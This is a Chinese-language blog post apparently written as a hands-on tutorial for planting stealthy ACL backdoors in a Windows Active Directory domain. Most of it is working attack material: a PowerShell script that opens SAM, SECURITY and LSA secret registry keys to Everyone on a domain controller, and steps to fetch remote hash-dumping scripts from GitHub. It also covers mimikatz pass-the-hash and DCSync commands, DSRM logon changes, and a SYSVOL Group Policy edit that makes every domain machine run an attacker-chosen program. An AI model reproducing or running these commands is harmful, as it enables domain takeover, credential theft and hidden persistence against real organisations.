域內配置ACL後門

Windows · 發表 2018-11-20 21:15:09

摘要：一、前言在域環境中配置ACL後門，隱蔽性較強，不容易被發現，適合域環境維持許可權。二、基於登錄檔ACL後門作用：直接域控制器上的本地管理員hash。實現思路：在域控制器上將hklm的特定鍵值分配everyone讀取許可權感謝harmj0y大佬，已經把這個過程武器...

一、前言

在域環境中配置ACL後門，隱蔽性較強，不容易被發現，適合域環境維持許可權。

二、基於登錄檔ACL後門

作用：直接域控制器上的本地管理員hash。

實現思路：在域控制器上將hklm的特定鍵值分配everyone讀取許可權

感謝harmj0y大佬，已經把這個過程武器化了，地址： https://github.com/HarmJ0y/DAMP ，程式碼寫得很完美 :)

編寫powershell指令碼如下(會應用到子目錄)


$Keys = @(
'SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg',
'SYSTEM\CurrentControlSet\Control\Lsa\JD',
'SYSTEM\CurrentControlSet\Control\Lsa\Skew1',
'SYSTEM\CurrentControlSet\Control\Lsa\Data',
'SYSTEM\CurrentControlSet\Control\Lsa\GBG',
'SECURITY',
'SAM\SAM',
'SECURITY\Policy\Secrets\NL$KM\CurrVal'


)

ForEach($Key in $Keys) {

$reg_path="HKLM:\"+$Key
write-output $reg_path


$REG = Get-Acl $reg_path
$Rule = New-Object System.Security.AccessControl.RegistryAccessRule ("Everyone","FullControl","Allow") 
$REG.SetAccessRule($Rule) 
$REG |Set-Acl -Path $reg_path
$Dir = Get-Childitem $reg_path -Recurse 

}

修改系統關鍵登錄檔需要system許可權，本地管理員許可權下執行如下以獲取一個system shell

psexec.exe -accepteula -s -i -d cmd.exe

在域控制器上執行上面指令碼或匯入https://github.com/HarmJ0y/DAMP/blob/master/Add-RemoteRegBackdoor.ps1指令碼執行

Add-RemoteRegBackdoor -ComputerName client.external.local -Trustee 'S-1-1-0' -Verbose

然後就是在普通使用者機器上讀ntlm hash

普通域使用者機器下載https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1這個指令碼,本來想自己動手寫一個的，但是解密SAM內容這個步驟太複雜了，放棄啦 :( 。

執行獲取域控制器本地sam檔案裡的hash

 Get-RemoteLocalAccountHash -ComputerName ad1 -Verbose

這樣只要是個域使用者都可以獲取到域控制器的本地管理員administrator的hash，但是有一個坑要注意，就是域控制器的本地管理員賬戶不能直接pass the hash，這個是域控制器SAM檔案中賬戶的ntlm hash，或者叫它DSRM賬戶。

在域控制器上執行如下以允許DSRM賬戶進行遠端訪問（不用重啟）

reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2

執行後就能對域控制器pass the hash

用mimikatz進行hash注入

mimikatz "privilege::debug" "sekurlsa::pth /domain:ad1 /user:Administrator /ntlm:5a6b69843c8xxxxxc73dd3f1592acab2" exit

這樣就可以持續訪問域控制器了

三、基於域策略檔案許可權後門

作用：部署策略檔案無視防火牆一鍵種馬

域裡機器每過90+（0-30分鐘）會訪問域控制器的C:\Windows\SYSVOL\sysvol\domain.com\Policies 以更新它們的策略，

配置Policies的資料夾許可權為everyone完全控制，在域控制器上執行

cacls C:\Windows\SYSVOL\sysvol\z3r0.com\Policies /e /t /c /g "EveryOne":f

然後查詢某臺機器對應的是哪一個策略檔案，下載powerview指令碼然後執行

Get-NETGPO -ComputerName tom-PC.z3r0.com |fl gpcfilesyspath

開啟\\z3r0.com\SYSVOL\z3r0.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf 新增如下在檔案末尾

[Registry Values] 
MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe
[Version] 
signature="$CHICAGO$" 
Revision=1

選擇taskhost.exe作為除錯程序是因為當目標機器重新整理域策略的時候會呼叫taskhost程序，所以直接就能觸發了

手動重新整理策略 gpupdate /force

四、配置dcsync後門

在z3r0.com上右鍵把高階功能選上

然後再右鍵屬性就會看到安全了

把everyone設定成完全控制，威力無窮

最後隨便找個賬號就能使用dcsync了

mimikatz.exe "Lsadump::dcsync /domain:z3r0.com /user:administrator" exit

域內配置ACL後門

您可能也會喜歡…